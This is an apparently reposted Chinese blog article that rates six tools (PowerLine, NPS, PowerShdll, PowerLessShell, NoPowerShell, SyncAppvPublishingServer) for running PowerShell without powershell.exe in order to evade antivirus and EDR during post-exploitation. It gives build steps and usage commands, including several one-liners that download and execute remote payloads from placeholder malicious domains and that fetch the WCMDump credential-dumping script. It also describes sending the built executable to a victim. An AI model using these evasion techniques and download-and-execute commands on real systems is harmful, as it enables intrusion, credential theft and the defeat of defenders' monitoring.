六种ps1免杀工具,通杀360卡巴defender火绒
2023-5-12 07:44:4 Author: 奶牛安全(查看原文) 阅读量:71 收藏

请帮忙点在看,点赞,转发

在过去的几个月里,观察黑客和防病毒软件的移动方式,写这篇文章给所有正在寻找最佳技术的渗透测试人员和红队成员,以便在后期利用阶段使用他们的 PowerShell 脚本或命令行,而无需运行PowerShell.exe,从而避免被下一代防病毒软件、EDR 或蓝队或威胁搜寻团队捕获。

尝试和分析适用于此目的的不同工具。对于这些工具中的每一个,给出了个人评分。以下是本文测试的工具列表:

PowerLine → 得分:9NPS —  Not PowerShell → 得分:4PowerShdll → 评分:7PowerLessShell → 得分:5Nopowershell → 得分:6SyncAppvPublishingServer → 分数:7

Brian Fehrman 创建的非常好的实用程序,可以在不直接调用 PowerShell 的情况下调用 PowerShell 脚本。这个工具是用 C# 编写的,可以纯粹从命令行使用,包括远程使用。简而言之,可以在不使用 PowerShell.exe 的情况下使用预先存在的 PowerShell 脚本。PowerLine目前的主要特点是:

  • 易于部署和构建——无需 Visual Studio

  • 自动检测Win7Win10系统

  • 能够用作 PowerShell 终端

  • 通过 XML 设置指定要包含的远程脚本(脚本保留在内存中)

  • 每次构建中生成随机字节并用于 XOR 脚本

使用细节:

一旦在计算机上实现了远程代码执行,获得令人满意的后期利用就很重要了。运行一系列 PowerShell 工具有助于完成这项工作:MeterpreterMimikatzPowerViewPowerUpInveigh等。

部署

部署非常简单且模块化。要拥有 PowerLine 的功能版本,必须遵循以下步骤:

  • 下载代码:https: //github.com/fullmetalcache/PowerLine

  • 运行build.bat文件

  • 更新UserConf.xml文档包含想要包含的脚本 URL
  • 运行PLBuilder.exe文件
  • 现在应该创建 PowerLine.exe 程序,它包含您指定的所有脚本的嵌入式、异或编码、base64编码版本

执行:

如果所有部署步骤都成功,则应该将PowerLine.exe可执行文件发送给受害者。可以使用certutil从远程主机获取可执行文件。如果直接在受害机器上下载原始 Github 代码,则可以使用本地 PowerLine.exe 文件。这里的示例用法:

目前,该工具在编译阶段能够在Windows 101903版本上绕过 Windows Defender。显然,根据正在加载的脚本,可以绕过防病毒软件。例如,在Mimikatz的情况下,由于加载了基本版本,Windows Defender 能够阻止它,但对于其他常见的恶意脚本,则有可能绕过它。例如,导入 WCMDump Ps1 脚本可以绕过 Windows Defender 并在没有 Powershell.exe 的情况下运行脚本:

没有 PowerLine 的标准恶意命令行:

下载脚本并运行它,但 Defender 阻止了它

使用 PowerLine 绕过 Windows Defender

考虑因素:

PowerLine 似乎是一个绕过 杀毒软件 和 EDR 的好工具,杀毒软件和EDR只控制由 PowerShell 启动的恶意命令行。在 Windows 进程树中,命令行由 PowerLine.exe 进程执行。显然,此工具和相关检测取决于加载的脚本。该工具的缺点之一是每次想要加载新脚本时都必须将其添加到配置文件中,这可能会减慢后期利用活动,但这取决于参与的时间。可以在开始攻击之前使用所需的所有脚本创建自定义版本。简而言之,PowerLine 对于后期利用期间的绕过非常有用,但可扩展性和速度不是很好。此处防病毒绕过的真正附加值是脚本编码

该工具的所有版本目前都被 Windows Defender 检测到,因此不在我们的顶级工具列表。由于有很多红队队员具有抑制或绕过防病毒软件的强大能力,因此我们尝试使用相同的此工具,但至少在第一个下载阶段禁用 Windows Defender, 这样才可以下载完整的代码并编译杀毒软件可能无法检测到的自定义版本,。

这里的使用命令:

cmdline: 
nps.exe "{powershell single command}"
nps.exe "& {commands; semi-colon; separated}"
nps.exe -encodedcommand {base64_encoded_command}
nps.exe -encode "commands to encode to base64"
nps.exe -解码{base64_encoded_command}

我试图对恶意脚本进行编码并运行它。因为 Defender 已关闭,所以它有效。一旦重新激活它,它就会立即将可执行文件检测为恶意文件并将其删除。查看 Windows 进程树,可能会注意到启动 powershell 命令所涉及的唯一进程始终是 nps.exe,并且永远不会调用 powershell.exe,但检测率是相同的。

考虑因素:

在特别不安全的环境中,可以考虑使用此工具,在这些环境中,红队队员希望留下很少的恶意“powershell”命令行痕迹。在所有其他情况下,会被立刻删除。

此工具仅允许使用 dll 运行 PowerShell脚本和命令。,因为使用 powershell 自动化 dll,不需要使用 powershell.exePowerShdll 可以与 rundll32.exeinstallutil.exeregsvcs.exeregasm.exeregsvr32.exe 一起运行或作为独立的可执行文件运行。

用法示例:

# Rundll32 Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window
rundll32 PowerShdll,main -i Start an interactive console in this console
# Exe Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console
# Run base64 encoded script:
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Download and run script
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

真实示例:

运行标准 Mimikatz 工具或其他凭证转储工具(如WCMDump),Windows Defender 在两种情况下(exedll 使用)都会阻止恶意行为。我也尝试先下载 ps1,但在这种情况下,Windows Defender 具有这些脚本的签名,它一样删除它们。

考虑因素:

这个工具有一些有趣的特性,可以直接与 rundll32 一起使用,这可以绕过一些杀毒软件 并避免使用已经用已知哈希编译的可执行文件

l

PowerLessShell 依靠 MSBuild.exe 远程执行 PowerShell 脚本和命令,而无需启动 powershell.exe。也可以使用相同的方法执行原始 shellcode

如果尝试通过 PowerLessShell 运行 WMCDump ps1 脚本,它将被 Windows Defender 阻止。这里有所有的细节:

反向 shell 也一样:

考虑因素:

目前这个工具使用起来很不方便,因为所有的有效载荷都必须在黑客的机器上创建和复制,即使是最简单的有效载荷也会被检测到。这意味着没有真正的代码混淆或规避方法。Windows Defender 会看到执行的恶意命令,即使不是直接通过 PowerShell 运行它们也是如此。此外,生成的 .bat 文件在运行阶段经常失败。

NoPowerShell 是一种用 C# 实现的工具,它支持执行类似 PowerShell 的命令,同时对任何 PowerShell 日志记录机制保持不可见。使用 NoPowerShell 的原因:

  • 执行相当隐蔽

  • 强大的功能

  • 提供 PowerShellcmdlet

  • 可以使用 cmd.exe 别名(即ping代替Test-NetConnection)

  • 如果 viapowerpickpowershellcmdlet 不可用,nps可提供(如,来自 ActiveDirectory 模块的 cmdlet

  • 只需几行 C# 即可轻松扩展

支持的命令:

这里有一些可执行文件的测试:

这里有一些通过 dll 运行 NoPowerShell 的测试:

此工具与 PowerShdll 几乎相同。它具有嵌入式功能,使您无需详细了解所有 PowerShell 功能即可轻松启动命令。但是,它似乎缺乏像 PowerShdll 那样直接从命令行运行 ps1 脚本的可能性。

考虑因素:

此工具的注意事项与 PowerShdll 的注意事项类似。对于在不启动 powershell 进程的情况下 使用powershell 命令非常有用,从而避免被 EDR 或威胁猎手识别。该工具直观、实用且快速。非常适合在时间很短且没有恶意命令运行的情况下用于评估, 但只支持有限的功能和命令列。

Sync-AppvPublishingServer cmdlet 在当前用户的上下文中启动 Microsoft Application Virtualization (App-V) 发布刷新操作。SyncAppVPublishingServer 工具在 Windows 上有两个版本:

  • 可执行文件 .exe → SyncAppvPublishingServer.exe

  • VBScriptSyncAppvPublishingServer.vbs

这两个工具都可以在 Windows 10 的路径“ C:\Windows\System32”中找到,并且都由 Microsoft 签名。

这里有一些测试命令行:

C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://172.16.217.130:443"
C:\Windows\System32\SyncAppvPublishingServer.vbs; Start-Process calc
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process cmd.exe '/c notepad.exe'"
C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process '$env:USERPROFILE/1.ps1' -WindowStyle Minimized;"
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX"
C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('[MaliciousDomain]/Win.exe','$env:USERPROFILE/payload.exe'); Start-Process '$env:USERPROFILE/payload.exe' -WindowStyle Minimized;"
SyncAppvPublishingServer.vbs "n; ((New-Object Net.WebClient) .DownloadString ('http://malciousdomain/payload.ps1') | IEX '

Windows Defender 能够像在 Powershell 中一样从这些文件中检测到恶意命令行。此外,当我尝试运行一行反向Shell时,Windows Defender检测到命令注入到 SyncApp 文件中。

考虑因素:

命令行运行程序或字符串,但所有生成内部输出的程序(如 ipconfigwhoami)结果都不会显示在 cli 中,因此很难通过此工具执行那些搜集信息的powershell 命令。相反,如果在受害者计算机上运行恶意 .ps1,例如使用恶意 powershell 脚本作为第一或第二阶段的各种银行木马,则特别有用。在这种情况下,将避免EDR在进程树检测到。但这个工具还是会被杀毒软件使用签名检测。


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&mid=2247489438&idx=1&sn=f1623038ee142c7fe3701336ff8b120d&chksm=fdf97c8bca8ef59d769a593eac58cb429905a6df91c599f4b8f28752987d3bcc77206b6518b8#rd
如有侵权请联系:admin#unsafe.sh